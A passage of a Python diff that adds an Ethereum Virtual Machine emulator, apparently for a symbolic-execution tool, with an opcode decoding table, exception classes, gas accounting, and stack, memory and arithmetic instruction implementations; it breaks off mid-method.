+        self._name = name 
+        self._operand_size = operand_size
+        self._pops = pops
+        self._pushes = pushes
+        self._fee = fee
+        self._description = description
+        self._operand = operand           #Immediate operand if any
+    
+    def parse_operand(self, buf):
+        operand = 0
+        for _ in range(self.operand_size):
+            operand <<= 8
+            operand |= ord(next(buf))
+        self._operand = operand
+
+    @property
+    def operand_size(self):
+        return self._operand_size
+
+    @property
+    def has_operand(self):
+        return self.operand_size > 0
+
+    @property
+    def operand(self):
+        return self._operand
+
+    @property
+    def pops(self):
+        return self._pops
+
+    @property
+    def pushes(self):
+        return self._pushes
+
+    @property
+    def size(self):
+        return self._operand_size + 1
+
+    @property
+    def fee(self):
+        return self._fee
+
+    def __len__(self):
+        return self.size
+
+    @property
+    def name(self):
+        if self._name == 'PUSH':
+            return 'PUSH%d'%self.operand_size
+        elif self._name == 'DUP':
+            return 'DUP%d'%self.pops
+        elif self._name == 'SWAP':
+            return 'SWAP%d'%(self.pops-1)
+        elif self._name == 'LOG':
+            return 'LOG%d'%(self.pops-2)
+        return self._name
+
+    def __str__(self):
+        bytes = self.bytes.encode('hex')
+        output = '<%s> '%bytes + self.name + (' 0x%x'%self.operand if self.has_operand else '')
+        output += ' '*(80-len(output))+self.description
+        return output
+
+    @property
+    def semantics(self):
+        return self._name
+
+    @property
+    def description(self):
+        return self._description
+
+    @property
+    def bytes(self):
+        bytes = []
+        bytes.append(chr(self._opcode))
+        for offset in reversed(xrange(self.operand_size)):
+            c = (self.operand >> offset*8 ) & 0xff 
+            bytes.append(chr(c))
+        return ''.join(bytes)
+
+        
+class EVMDecoder(object):
+    ''' 
+        EVM Instruction factory
+    '''
+    #from http://gavwood.com/paper.pdf
+    _table = {#opcode: (name, immediate_operand_size, pops, pushes, gas, description)
+                0x00: ('STOP', 0, 0, 0, 0, 'Halts execution.'),
+                0x01: ('ADD', 0, 2, 1, 3, 'Addition operation.'),
+                0x02: ('MUL', 0, 2, 1, 5, 'Multiplication operation.'),
+                0x03: ('SUB', 0, 2, 1, 3, 'Subtraction operation.'),
+                0x04: ('DIV', 0, 2, 1, 5, 'Integer division operation.'),
+                0x05: ('SDIV', 0, 2, 1, 5, 'Signed integer division operation (truncated).'),
+                0x06: ('MOD', 0, 2, 1, 5, 'Modulo remainder operation.'),
+                0x07: ('SMOD', 0, 2, 1, 5, 'Signed modulo remainder operation.'),
+                0x08: ('ADDMOD', 0, 3, 1, 8, 'Modulo addition operation.'),
+                0x09: ('MULMOD', 0, 3, 1, 8, 'Modulo multiplication operation.'),
+                0x0a: ('EXP', 0, 2, 1, 10, 'Exponential operation.'),
+                0x0b: ('SIGNEXTEND', 0, 2, 1, 5, "Extend length of two's complement signed integer."),
+                0x10: ('LT', 0, 2, 1, 3, 'Less-than comparision.'),
+                0x11: ('GT', 0, 2, 1, 3, 'Greater-than comparision.'),
+                0x12: ('SLT', 0, 2, 1, 3, 'Signed less-than comparision.'),
+                0x13: ('SGT', 0, 2, 1, 3, 'Signed greater-than comparision.'),
+                0x14: ('EQ', 0, 2, 1, 3, 'Equality comparision.'),
+                0x15: ('ISZERO', 0, 1, 1, 3, 'Simple not operator.'),
+                0x16: ('AND', 0, 2, 1, 3, 'Bitwise AND operation.'),
+                0x17: ('OR', 0, 2, 1, 3, 'Bitwise OR operation.'),
+                0x18: ('XOR', 0, 2, 1, 3, 'Bitwise XOR operation.'),
+                0x19: ('NOT', 0, 1, 1, 3, 'Bitwise NOT operation.'),
+                0x1a: ('BYTE', 0, 2, 1, 3, 'Retrieve single byte from word.'),
+                0x20: ('SHA3', 0, 2, 1, 30, 'Compute Keccak-256 hash.'),
+                0x30: ('ADDRESS', 0, 0, 1, 2, 'Get address of currently executing account     .'),
+                0x31: ('BALANCE', 0, 1, 1, 20, 'Get balance of the given account.'),
+                0x32: ('ORIGIN', 0, 0, 1, 2, 'Get execution origination address.'),
+                0x33: ('CALLER', 0, 0, 1, 2, 'Get caller address.'),
+                0x34: ('CALLVALUE', 0, 0, 1, 2, 'Get deposited value by the instruction/transaction responsible for this execution.'),
+                0x35: ('CALLDATALOAD', 0, 1, 1, 3, 'Get input data of current environment.'),
+                0x36: ('CALLDATASIZE', 0, 0, 1, 2, 'Get size of input data in current environment.'),
+                0x37: ('CALLDATACOPY', 0, 3, 0, 3, 'Copy input data in current environment to memory.'),
+                0x38: ('CODESIZE', 0, 0, 1, 2, 'Get size of code running in current environment.'),
+                0x39: ('CODECOPY', 0, 3, 0, 3, 'Copy code running in current environment to memory.'),
+                0x3a: ('GASPRICE', 0, 0, 1, 2, 'Get price of gas in current environment.'),
+                0x3b: ('EXTCODESIZE', 0, 1, 1, 20, "Get size of an account's code."),
+                0x3c: ('EXTCODECOPY', 0, 4, 0, 20, "Copy an account's code to memory."),
+                0x40: ('BLOCKHASH', 0, 1, 1, 20, 'Get the hash of one of the 256 most recent complete blocks.'),
+                0x41: ('COINBASE', 0, 0, 1, 2, "Get the block's beneficiary address."),
+                0x42: ('TIMESTAMP', 0, 0, 1, 2, "Get the block's timestamp."),
+                0x43: ('NUMBER', 0, 0, 1, 2, "Get the block's number."),
+                0x44: ('DIFFICULTY', 0, 0, 1, 2, "Get the block's difficulty."),
+                0x45: ('GASLIMIT', 0, 0, 1, 2, "Get the block's gas limit."),
+                0x50: ('POP', 0, 1, 0, 2, 'Remove item from stack.'),
+                0x51: ('MLOAD', 0, 1, 1, 3, 'Load word from memory.'),
+                0x52: ('MSTORE', 0, 2, 0, 3, 'Save word to memory.'),
+                0x53: ('MSTORE8', 0, 2, 0, 3, 'Save byte to memory.'),
+                0x54: ('SLOAD', 0, 1, 1, 50, 'Load word from storage.'),
+                0x55: ('SSTORE', 0, 2, 0, 0, 'Save word to storage.'),
+                0x56: ('JUMP', 0, 1, 0, 8, 'Alter the program counter.'),
+                0x57: ('JUMPI', 0, 2, 0, 10, 'Conditionally alter the program counter.'),
+                0x58: ('GETPC', 0, 0, 1, 2, 'Get the value of the program counter prior to the increment.'),
+                0x59: ('MSIZE', 0, 0, 1, 2, 'Get the size of active memory in bytes.'),
+                0x5a: ('GAS', 0, 0, 1, 2, 'Get the amount of available gas, including the corresponding reduction the amount of available gas.'),
+                0x5b: ('JUMPDEST', 0, 0, 0, 1, 'Mark a valid destination for jumps.'),
+                0x60: ('PUSH', 1, 0, 1, 0, 'Place 1 byte item on stack.'),
+                0x61: ('PUSH', 2, 0, 1, 0, 'Place 2-byte item on stack.'),
+                0x62: ('PUSH', 3, 0, 1, 0, 'Place 3-byte item on stack.'),
+                0x63: ('PUSH', 4, 0, 1, 0, 'Place 4-byte item on stack.'),
+                0x64: ('PUSH', 5, 0, 1, 0, 'Place 5-byte item on stack.'),
+                0x65: ('PUSH', 6, 0, 1, 0, 'Place 6-byte item on stack.'),
+                0x66: ('PUSH', 7, 0, 1, 0, 'Place 7-byte item on stack.'),
+                0x67: ('PUSH', 8, 0, 1, 0, 'Place 8-byte item on stack.'),
+                0x68: ('PUSH', 9, 0, 1, 0, 'Place 9-byte item on stack.'),
+                0x69: ('PUSH', 10, 0, 1, 0, 'Place 10-byte item on stack.'),
+                0x6a: ('PUSH', 11, 0, 1, 0, 'Place 11-byte item on stack.'),
+                0x6b: ('PUSH', 12, 0, 1, 0, 'Place 12-byte item on stack.'),
+                0x6c: ('PUSH', 13, 0, 1, 0, 'Place 13-byte item on stack.'),
+                0x6d: ('PUSH', 14, 0, 1, 0, 'Place 14-byte item on stack.'),
+                0x6e: ('PUSH', 15, 0, 1, 0, 'Place 15-byte item on stack.'),
+                0x6f: ('PUSH', 16, 0, 1, 0, 'Place 16-byte item on stack.'),
+                0x70: ('PUSH', 17, 0, 1, 0, 'Place 17-byte item on stack.'),
+                0x71: ('PUSH', 18, 0, 1, 0, 'Place 18-byte item on stack.'),
+                0x72: ('PUSH', 19, 0, 1, 0, 'Place 19-byte item on stack.'),
+                0x73: ('PUSH', 20, 0, 1, 0, 'Place 20-byte item on stack.'),
+                0x74: ('PUSH', 21, 0, 1, 0, 'Place 21-byte item on stack.'),
+                0x75: ('PUSH', 22, 0, 1, 0, 'Place 22-byte item on stack.'),
+                0x76: ('PUSH', 23, 0, 1, 0, 'Place 23-byte item on stack.'),
+                0x77: ('PUSH', 24, 0, 1, 0, 'Place 24-byte item on stack.'),
+                0x78: ('PUSH', 25, 0, 1, 0, 'Place 25-byte item on stack.'),
+                0x79: ('PUSH', 26, 0, 1, 0, 'Place 26-byte item on stack.'),
+                0x7a: ('PUSH', 27, 0, 1, 0, 'Place 27-byte item on stack.'),
+                0x7b: ('PUSH', 28, 0, 1, 0, 'Place 28-byte item on stack.'),
+                0x7c: ('PUSH', 29, 0, 1, 0, 'Place 29-byte item on stack.'),
+                0x7d: ('PUSH', 30, 0, 1, 0, 'Place 30-byte item on stack.'),
+                0x7e: ('PUSH', 31, 0, 1, 0, 'Place 31-byte item on stack.'),
+                0x7f: ('PUSH', 32, 0, 1, 0, 'Place 32-byte (full word) item on stack.'),
+                0x80: ('DUP', 0, 1, 2, 3, 'Duplicate 1st stack item.'),
+                0x81: ('DUP', 0, 2, 3, 3, 'Duplicate 2nd stack item.'),
+                0x82: ('DUP', 0, 3, 4, 3, 'Duplicate 3rd stack item.'),
+                0x83: ('DUP', 0, 4, 5, 3, 'Duplicate 4th stack item.'),
+                0x84: ('DUP', 0, 5, 6, 3, 'Duplicate 5th stack item.'),
+                0x85: ('DUP', 0, 6, 7, 3, 'Duplicate 6th stack item.'),
+                0x86: ('DUP', 0, 7, 8, 3, 'Duplicate 7th stack item.'),
+                0x87: ('DUP', 0, 8, 9, 3, 'Duplicate 8th stack item.'),
+                0x88: ('DUP', 0, 9, 10, 3, 'Duplicate 9th stack item.'),
+                0x89: ('DUP', 0, 10, 11, 3, 'Duplicate 10th stack item.'),
+                0x8a: ('DUP', 0, 11, 12, 3, 'Duplicate 11th stack item.'),
+                0x8b: ('DUP', 0, 12, 13, 3, 'Duplicate 12th stack item.'),
+                0x8c: ('DUP', 0, 13, 14, 3, 'Duplicate 13th stack item.'),
+                0x8d: ('DUP', 0, 14, 15, 3, 'Duplicate 14th stack item.'),
+                0x8e: ('DUP', 0, 15, 16, 3, 'Duplicate 15th stack item.'),
+                0x8f: ('DUP', 0, 16, 17, 3, 'Duplicate 16th stack item.'),
+                0x90: ('SWAP', 0, 2, 2, 3, 'Exchange 1st and 2nd stack items.'),
+                0x91: ('SWAP', 0, 3, 3, 3, 'Exchange 1st and 3rd stack items.'),
+                0x92: ('SWAP', 0, 4, 4, 3, 'Exchange 1st and 4rd stack items.'),
+                0x93: ('SWAP', 0, 5, 5, 3, 'Exchange 1st and 5rd stack items.'),
+                0x94: ('SWAP', 0, 6, 6, 3, 'Exchange 1st and 6rd stack items.'),
+                0x95: ('SWAP', 0, 7, 7, 3, 'Exchange 1st and 7rd stack items.'),
+                0x96: ('SWAP', 0, 8, 8, 3, 'Exchange 1st and 8rd stack items.'),
+                0x97: ('SWAP', 0, 9, 9, 3, 'Exchange 1st and 9rd stack items.'),
+                0x98: ('SWAP', 0, 10, 10, 3, 'Exchange 1st and 10rd stack items.'),
+                0x99: ('SWAP', 0, 11, 11, 3, 'Exchange 1st and 11rd stack items.'),
+                0x9a: ('SWAP', 0, 12, 12, 3, 'Exchange 1st and 12rd stack items.'),
+                0x9b: ('SWAP', 0, 13, 13, 3, 'Exchange 1st and 13rd stack items.'),
+                0x9c: ('SWAP', 0, 14, 14, 3, 'Exchange 1st and 14rd stack items.'),
+                0x9d: ('SWAP', 0, 15, 15, 3, 'Exchange 1st and 15rd stack items.'),
+                0x9e: ('SWAP', 0, 16, 16, 3, 'Exchange 1st and 16rd stack items.'),
+                0x9f: ('SWAP', 0, 17, 17, 3, 'Exchange 1st and 17th stack items.'),
+                0xa0: ('LOG', 0, 2, 0, 375, 'Append log record with no topics.'),
+                0xa1: ('LOG', 0, 3, 0, 750, 'Append log record with one topic.'),
+                0xa2: ('LOG', 0, 4, 0, 1125, 'Append log record with two topics.'),
+                0xa3: ('LOG', 0, 5, 0, 1500, 'Append log record with three topics.'),
+                0xa4: ('LOG', 0, 6, 0, 1875, 'Append log record with four topics.'),
+                0xf0: ('CREATE', 0, 3, 1, 32000, 'Create a new account with associated code.'),
+                0xf1: ('CALL', 0, 7, 1, 40, 'Message-call into an account.'),
+                0xf2: ('CALLCODE', 0, 7, 1, 40, "Message-call into this account with alternative account's code."),
+                0xf3: ('RETURN', 0, 2, 0, 0, 'Halt execution returning output data.'),
+                0xf4: ('DELEGATECALL', 0, 6, 1, 40, "Message-call into this account with an alternative account's code, but persisting into this account with an alternative account's code."),
+                0xf5: ('BREAKPOINT', 0, 0, 0, 40, 'Not in yellow paper FIXME'),
+                0xf6: ('RNGSEED', 0, 1, 1, 0, 'Not in yellow paper FIXME'),
+                0xf7: ('SSIZEEXT', 0, 2, 1, 0, 'Not in yellow paper FIXME'),
+                0xf8: ('SLOADBYTES', 0, 3, 0, 0, 'Not in yellow paper FIXME'),
+                0xf9: ('SSTOREBYTES', 0, 3, 0, 0, 'Not in yellow paper FIXME'),
+                0xfa: ('SSIZE', 0, 1, 1, 40, 'Not in yellow paper FIXME'),
+                0xfb: ('STATEROOT', 0, 1, 1, 0, 'Not in yellow paper FIXME'),
+                0xfc: ('TXEXECGAS', 0, 0, 1, 0, 'Not in yellow paper FIXME'),
+                0xfd: ('REVERT', 0, 2, 0, 0, 'Stop execution and revert state changes, without consuming all provided gas and providing a reason.'),
+                0xfe: ('INVALID', 0, 0, 0, 0, 'Designated invalid instruction.'),
+                0xff: ('SELFDESTRUCT', 0, 1, 0, 5000, 'Halt execution and register account for later deletion.')
+            }
+
+
+    @staticmethod
+    def decode_one(bytecode):
+        '''
+        '''
+        bytecode = iter(bytecode)
+        opcode = ord(next(bytecode))
+        invalid = ('INVALID', 0, 0, 0, 0, 'Unknown opcode')
+        name, operand_size, pops, pushes, gas, description = EVMDecoder._table.get(opcode, invalid)
+        instruction = EVMInstruction(opcode, name, operand_size, pops, pushes, gas, description)
+        if instruction.has_operand:
+            instruction.parse_operand(bytecode)
+
+        return instruction
+
+    @staticmethod
+    def decode_all(bytecode):
+        bytecode = iter(bytecode)
+        while True:
+            yield EVMDecoder.decode_one(bytecode)
+
+    @staticmethod
+    def disassemble(bytecode):
+        output = ''
+        address = 0
+        for i in EVMDecoder.decode_all(bytecode) :
+            output += "0x%04x %s\n"%(address, i)
+            address += i.size
+        return output
+
+class EVMException(Exception):
+    pass
+
+class ConcretizeStack(EVMException):
+    '''
+    Raised when a symbolic memory cell needs to be concretized.
+    '''
+    def __init__(self, pos, expression=None, policy='MINMAX'):
+        self.message = "Concretizing evm stack item {}".format(pos)
+        self.pos = pos
+        self.expression = expression
+        self.policy = policy
+
+class StackOverflow(EVMException):
+    ''' Attemped to push more than 1024 items '''
+    pass
+
+class StackUnderflow(EVMException):
+    ''' Attemped to popo from an empty stack '''
+    pass
+
+class InvalidOpcode(EVMException):
+    ''' Trying to execute invalid opcode '''
+    pass
+
+
+class Call(EVMException):
+    def __init__(self, gas, to, value, data, out_offset=None, out_size=None):
+        self.gas = gas
+        self.to = to
+        self.value = value
+        self.data = data
+        self.out_offset = out_offset
+        self.out_size = out_size
+
+    def __reduce__(self):
+        return (self.__class__, (self.gas, self.to, self.value, self.data, self.out_offset, self.out_size) )
+
+
+class Create(Call):
+    def __init__(self, value, offset, size):
+        super(Create, self).__init__(gas=None, to=None, value=value, data='')
+
+class DelegateCall(Call):
+    pass
+
+class Stop(EVMException):
+    ''' Program reached a STOP instruction '''
+    pass
+
+class Return(EVMException):
+    ''' Program reached a RETURN instruction '''
+    def __init__(self, data):
+        self.data = data
+    def __reduce__(self):
+        return (self.__class__, (self.data,) )
+
+class Revert(EVMException):
+    ''' Program reached a RETURN instruction '''
+    def __init__(self, data):
+        self.data = data
+    def __reduce__(self):
+        return (self.__class__, (self.data,) )
+
+class SelfDestruct(EVMException):
+    ''' Program reached a RETURN instruction '''
+    def __init__(self, to):
+        self.to = to
+
+class NotEnoughGas(EVMException):
+    ''' Not enough gas for operation '''
+    pass
+
+class Sha3(EVMException):
+    def __init__(self, data):
+        self.data = data
+
+    def __reduce__(self):
+        return (self.__class__, (self.data, ))
+
+
+class EVM(Eventful):
+    '''Machine State. The machine state is defined as
+        the tuple (g, pc, m, i, s) which are the gas available, the
+        program counter pc , the memory contents, the active
+        number of words in memory (counting continuously
+        from position 0), and the stack contents. The memory
+        contents are a series of zeroes of bitsize 256
+    '''
+
+    _published_events = {'read_code', 'decode_instruction', 'execute_instruction', 'concrete_sha3', 'symbolic_sha3'} #    _published_events = {'write_register', 'read_register', 'write_memory', 'read_memory', 'decode_instruction'}
+
+
+    def __init__(self, constraints, address, origin, price, data, caller, value, code, header, global_storage=None, depth=0, gas=1000000, **kwargs):
+        '''
+        Builds a Ethereum Virtual Machine instance
+
+        :param memory: the initial memory
+        :param address: the address of the account which owns the code that is executing.
+        :param origin: the sender address of the transaction that originated this execution. A 160-bit code used for identifying Accounts.
+        :param price: the price of gas in the transaction that originated this execution.
+        :param data: the byte array that is the input data to this execution
+        :param caller: the address of the account which caused the code to be executing. A 160-bit code used for identifying Accounts
+        :param value: the value, in Wei, passed to this account as part of the same procedure as execution. One Ether is defined as being 10**18 Wei.
+        :param bytecode: the byte array that is the machine code to be executed.
+        :param header: the block header of the present block.
+        :param depth: the depth of the present message-call or contract-creation (i.e. the number of CALLs or CREATEs being executed at present).
+
+        '''
+        super(EVM, self).__init__(**kwargs)
+        self._constraints = constraints
+        self.last_exception = None
+        self.memory = EVMMemory(constraints)
+        self.address = address
+        self.origin = origin # always an account with empty associated code
+        self.caller = caller # address of the account that is directly responsible for this execution
+        self.coinbase = 0
+        self.data = data
+        self.price = price #This is gas price specified by the originating transaction
+        self.value = value
+        self.depth = depth
+        self.bytecode = code
+        self.suicide = set()
+        self.logs = []
+        self.gas=gas
+        #FIXME parse decode and mark invalid instructions
+        #self.invalid = set()
+
+        assert 'timestamp' in header
+        self.header=header
+
+        #Machine state
+        self.pc = 0
+        self.stack = []
+        self.gas = gas
+        self.global_storage = global_storage
+        self.allocated = 0
+
+    @property
+    def constraints(self):
+        return self._constraints
+
+    @constraints.setter
+    def constraints(self, constraints):
+        self._constraints = constraints
+        self.memory.constraints = constraints
+
+
+    def __getstate__(self):
+        state = super(EVM, self).__getstate__()
+        state['gas'] = self.gas
+        state['memory'] = self.memory
+        state['global_storage'] = self.global_storage
+        state['constraints'] = self.constraints
+        state['last_exception'] = self.last_exception
+        state['address'] = self.address
+        state['origin'] = self.origin
+        state['caller'] = self.caller
+        state['coinbase'] = self.coinbase
+        state['data'] = self.data
+        state['price'] = self.price
+        state['value'] = self.value
+        state['depth'] = self.depth
+        state['bytecode'] = self.bytecode
+        state['pc'] = self.pc
+        state['stack'] = self.stack
+        state['gas'] = self.gas
+        state['allocated'] = self.allocated
+        state['suicide'] = self.suicide
+        state['logs'] = self.logs
+
+        return state
+
+    def __setstate__(self, state):
+        self.gas = state['gas']
+        self.memory = state['memory']
+        self.logs = state['logs'] 
+        self.global_storage = state['global_storage']
+        self.constraints = state['constraints']
+        self.last_exception = state['last_exception']
+        self.address = state['address']
+        self.origin = state['origin']
+        self.caller = state['caller']
+        self.coinbase = state['coinbase']
+        self.data = state['data']
+        self.price = state['price']
+        self.value = state['value']
+        self.depth = state['depth']
+        self.bytecode = state['bytecode']
+        self.pc = state['pc']
+        self.stack = state['stack']
+        self.gas = state['gas']
+        self.allocated = state['allocated']
+        self.suicide = state['suicide']
+        super(EVM, self).__setstate__(state)
+
+    #Memory related
+    def _allocate(self, address):
+        #print pretty_print (address)
+        #if address > 100000:
+        #    raise NotEnoughGas()
+
+        if address > self.memory._allocated:
+            GMEMORY = 3
+            GQUADRATICMEMDENOM = 512  # 1 gas per 512 quadwords
+
+            old_size = ceil32(self.memory._allocated) // 32
+            old_totalfee = old_size * GMEMORY + old_size ** 2 // GQUADRATICMEMDENOM
+            new_size = ceil32(address) // 32
+            increased = new_size - old_size 
+            fee = increased * GMEMORY + increased**2 // GQUADRATICMEMDENOM
+            self._consume(fee)
+
+    def _store(self, address, value):
+        #CHECK ADDRESS IS A 256 BIT INT OR BITVEC
+        #CHECK VALUE IS A 256 BIT INT OR BITVEC
+        #if address > 100000:
+        #    raise NotEnoughGas()
+        self._allocate(address)
+        self.memory.write(address, [value])
+
+
+    def _load(self, address):
+        self._allocate(address)
+        value = self.memory.read(address,1)[0]
+        value = arithmetic_simplifier(value)
+        if isinstance(value, Constant) and not value.taint: 
+            value = value.value
+        return value
+
+    @staticmethod
+    def check256int(value):
+        assert True
+
+    def read_code(self, address, size=1):
+        '''
+            Read size byte from bytecode.
+            If less than size bytes are available result will be pad with \x00
+        '''
+        assert address < len(self.bytecode)
+        value = self.bytecode[address:address+size]
+        if len(value) < size:
+            value += '\x00'* (size-len(value)) #pad with null (spec)
+        return value
+
+    def disassemble(self):
+        return EVMDecoder.disassemble(self.bytecode)
+
+
+    @property
+    def PC(self):
+        return self.pc
+
+    @property
+    def instruction(self):
+        ''' 
+            Current instruction pointed by self.pc 
+        '''
+        #FIXME check if pc points to invalid instruction
+        #if self.pc >= len(self.bytecode):
+        #    return InvalidOpcode('Code out of range')
+        #if self.pc in self.invalid:
+        #    raise InvalidOpcode('Opcode inside a PUSH immediate')
+
+        def getcode():
+            for byte in self.bytecode[self.pc:]:
+                yield byte
+            while True:
+                yield '\x00'
+
+        return EVMDecoder.decode_one(getcode())
+
+    #auxiliar funcs
+    #Stack related
+    def _push(self, value):
+        '''
+                   ITEM0
+                   ITEM1
+                   ITEM2
+             sp->  {empty}
+        '''
+        assert isinstance(value,(int,long)) or isinstance(value, BitVec) and value.size==256 
+        if len(self.stack) >= 1024:
+            raise StackOverflow()
+        self.stack.append(value & TT256M1)
+
+    def _pop(self):
+        if len(self.stack) == 0:
+            raise StackUnderflow()
+        return self.stack.pop()
+
+    def _consume(self, fee):
+        assert fee>=0
+        if self.gas < fee:
+            raise NotEnoughGas()
+        self.gas -= fee
+
+    #Execute an instruction from current pc
+    def execute(self):
+        if issymbolic(self.pc):
+            expression = self.pc
+            def setstate(state, value):
+                state.platform.current.pc = value
+
+            raise Concretize("Concretice PC",
+                                expression=expression, 
+                                setstate=setstate,
+                                policy='ALL')
+
+        self._publish( 'will_decode_instruction', self.pc)
+        current = self.instruction
+        self._publish( 'will_execute_instruction', current)
+
+        #Consume some gas
+        self._consume(current.fee)
+
+        implementation = getattr(self, current.semantics, None)
+        if implementation is None:
+            raise TerminateState("Instruction not implemented %s"%current.semantics, testcase=True)
+
+        #Get arguments (imm, pop)
+        arguments = []
+        if self.instruction.has_operand:
+            arguments.append(current.operand)
+        for _ in range(current.pops):
+            arguments.append(self._pop())
+
+        self._publish( 'will_execute_instruction', current)
+
+        #simplify stack arguments
+        for i in range(len(arguments)):
+            if isinstance(arguments[i], Expression):           
+                arguments[i] = arithmetic_simplifier(arguments[i])
+            if isinstance(arguments[i], Constant):
+                arguments[i] = arguments[i].value
+
+        last_pc = self.pc
+        #Execute
+        try:
+            result = implementation(*arguments)
+        except ConcretizeStack as ex:
+            for arg in reversed(arguments):
+                self._push(arg)
+            def setstate(state, value):
+                self.stack[-ex.pos] = value
+            raise Concretize("Concretice Stack Variable",
+                                expression=self.stack[-ex.pos], 
+                                setstate=setstate,
+                                policy=ex.policy)
+        except EVMException as e:
+            self.last_exception = e
+            raise
+        self._publish( 'did_execute_instruction', last_pc, self.pc, current)
+
+        
+        #Check result (push)
+        if current.pushes > 1:
+            assert len(result) == current.pushes
+            for value in reversed(result):
+                self._push(value)
+        elif current.pushes == 1:
+            self._push(result)
+        else:
+            assert current.pushes == 0
+            assert result is None
+        if current.semantics not in ('JUMP', 'JUMPI'):
+            #advance pc pointer
+            self.pc += self.instruction.size
+
+
+    #INSTRUCTIONS
+    def INVALID(self):
+        '''Halts execution'''
+        raise InvalidOpcode()
+
+    ##########################################################################
+    ## Stop and Arithmetic Operations
+    ##  All arithmetic is modulo 256 unless otherwise noted. 
+
+    def STOP(self):
+        ''' Halts execution '''
+        raise Stop()
+
+    def ADD(self, a, b):
+        ''' Addition operation '''
+        return a + b
+
+    def MUL(self, a, b):
+        ''' Multiplication operation '''
+        return a * b
+
+    def SUB(self, a, b):
+        ''' Subtraction operation '''
+        return a - b
+
+    def DIV(self, a, b):
+        '''Integer division operation'''
+        try:
+            result = a // b
+        except ZeroDivisionError:
+            result = 0
+        return Operators.ITEBV(256, b==0, 0, result)
+
+    def SDIV(self, a, b):
+        '''Signed integer division operation (truncated)'''        
+        s0, s1 = to_signed(a), to_signed(b)
+        try:
+            result = (abs(s0) // abs(s1) * (-1 if s0 * s1 < 0 else 1))
+        except ZeroDivisionError:
+            result = 0
+        return Operators.ITEBV(256, b == 0, 0, result)
+
+    def MOD(self, a,b):
+        '''Modulo remainder operation'''
+        try:
+            result = Operators.ITEBV(256, b==0, 0, a%b)
+        except ZeroDivisionError:
+            result = 0
+        return result
+
+    def SMOD(self, a, b):
+        '''Signed modulo remainder operation'''
+        s0, s1 = to_signed(a), to_signed(b)
+        sign = Operators.ITEBV(256,  s0 < 0, -1, 1)
+        try:
+            result =  abs(s0) % abs(s1) * sign 
+        except ZeroDivisionError:
+            result = 0
+
+        return Operators.ITEBV(256, s1==0, 0, result) 
+
+    def ADDMOD(self, a, b, c):
+        '''Modulo addition operation'''
+        try:
+            result = Operators.ITEBV(256, c==0, 0, (a+b)%c)
+        except ZeroDivisionError:
+            result = 0
+        return result 
+
+    def MULMOD(self, a, b, c):
+        '''Modulo addition operation'''
+        try:
+            result = Operators.ITEBV(256, c==0, 0, (a*b)%c)
+        except ZeroDivisionError:
+            result = 0
+        return result 
+
+
+    def EXP(self, base, exponent):
+        '''
+            Exponential operation
+            The zero-th power of zero 0^0 is defined to be one
+        '''
+        #fixme integer bitvec
+        EXP_SUPPLEMENTAL_GAS = 50   # cost of EXP exponent per byte        
+        def nbytes(e):
+            for i in range(32):
+                if e>>(i*8) == 0:
+                    return i
+            return 32
+        self._consume(EXP_SUPPLEMENTAL_GAS * nbytes(exponent))
+        return pow(base, exponent, TT256)
+
+    def SIGNEXTEND(self, size, value): 
+        '''Extend length of two's complement signed integer'''
+        #FIXME maybe use Operators.SEXTEND
+        testbit = Operators.ITEBV(256, size<=31, size * 8 +7, 257)
+        result1 = (value | (TT256 - (1 << testbit)))
+        result2 = (value & ((1 << testbit) - 1))
+        result = Operators.ITEBV(256, (value & (1 << testbit)) != 0, result1, result2)
+        return Operators.ITEBV(256, size<=31, result, value)
+
+    ##########################################################################
+    ##Comparison & Bitwise Logic Operations
+    def LT(self, a, b): 
+        '''Less-than comparision'''
+        return Operators.ITEBV(256, Operators.ULT(a, b), 1, 0)
+
+    def GT(self, a, b):
+        '''Greater-than comparision'''
+        return Operators.ITEBV(256, Operators.UGT(a, b), 1, 0)
+
+    def SLT(self, a, b): 
+        '''Signed less-than comparision'''
+        #http://gavwood.com/paper.pdf
+        s0, s1 = to_signed(a), to_signed(b)
+        return Operators.ITEBV(256, s0 < s1, 1, 0)
+
+    def SGT(self, a, b):
+        '''Signed greater-than comparision'''
+        #http://gavwood.com/paper.pdf
+        s0, s1 = to_signed(a), to_signed(b)
+        return Operators.ITEBV(256, s0 > s1, 1, 0)
+
+    def EQ(self, a, b):
+        '''Equality comparision'''
+        return Operators.ITEBV(256, a == b, 1, 0)
+
+    def ISZERO(self, a):
+        '''Simple not operator'''
+        return Operators.ITEBV(256, a == 0, 1, 0)
+
+    def AND(self, a, b):
+        '''Bitwise AND operation'''
+        return a & b
+
+    def OR(self, a, b):
+        '''Bitwise OR operation'''
+        return a | b
+
+    def XOR(self, a, b):
+        '''Bitwise XOR operation'''
+        return a ^ b
+
+    def NOT(self, a):
+        '''Bitwise NOT operation'''
+        return ~a
+
+    def BYTE(self, offset, value):
+        '''Retrieve single byte from word'''
+        offset = Operators.ITEBV(256, offset<32, (31-offset)*8, 256) 
+        return Operators.ZEXTEND(Operators.EXTRACT(value, offset, 8), 256)
+
+
+    def SHA3(self, start, size):
+        '''Compute Keccak-256 hash'''
+        GSHA3WORD = 6         # Cost of SHA3 per word
+        #read memory from start to end
+        #calculate hash on it/ maybe remember in some structure where that hash came from
+        #http://gavwood.com/paper.pdf
+        if size:
+            self._consume(GSHA3WORD * (ceil32(size) // 32) )
+        data = self.read_buffer(start, size)
+        if any(map(issymbolic, data)):
+            raise Sha3(data)
+
+        buf = ''.join(data)
+        value = sha3.keccak_256(buf).hexdigest()
+        value = int('0x'+value,0)
+        self._publish('concrete_sha3', buf, value)
+        logger.info("Found new SHA3 example %r -> %x", buf, value)
+        return value
+
+
+
+    ##########################################################################
+    ##Environmental Information
+    def ADDRESS(self): 
+        '''Get address of currently executing account     '''
+        return self.address
+
+    def BALANCE(self, account):
+        '''Get balance of the given account'''
+        BALANCE_SUPPLEMENTAL_GAS = 380
+        self._consume(BALANCE_SUPPLEMENTAL_GAS)
+        if account & TT256M1 not in self.global_storage:
+            return 0
+        value = self.global_storage[account & TT256M1 ]['balance']
+        if value is None:
+            return 0
+        return value
+
+    def ORIGIN(self): 
+        '''Get execution origination address'''
+        return self.origin
+
+    def CALLER(self): 
+        '''Get caller address'''
+        return Operators.ZEXTEND(self.caller, 256)
+
+    def CALLVALUE(self):
+        '''Get deposited value by the instruction/transaction responsible for this execution'''
+        return self.value
+
+    def CALLDATALOAD(self, offset):
+        '''Get input data of current environment'''
+        #FIXME concretize offset?
+        #if issymbolic(offset):
+        #    self._constraints.add(Operators.ULE(offset, len(self.data)+32))
+            #self._constraints.add(0 == offset%32)
+        #    raise ConcretizeStack(3, expression=offset, policy='ALL')
+
+        bytes = list(self.data[offset:offset+32])
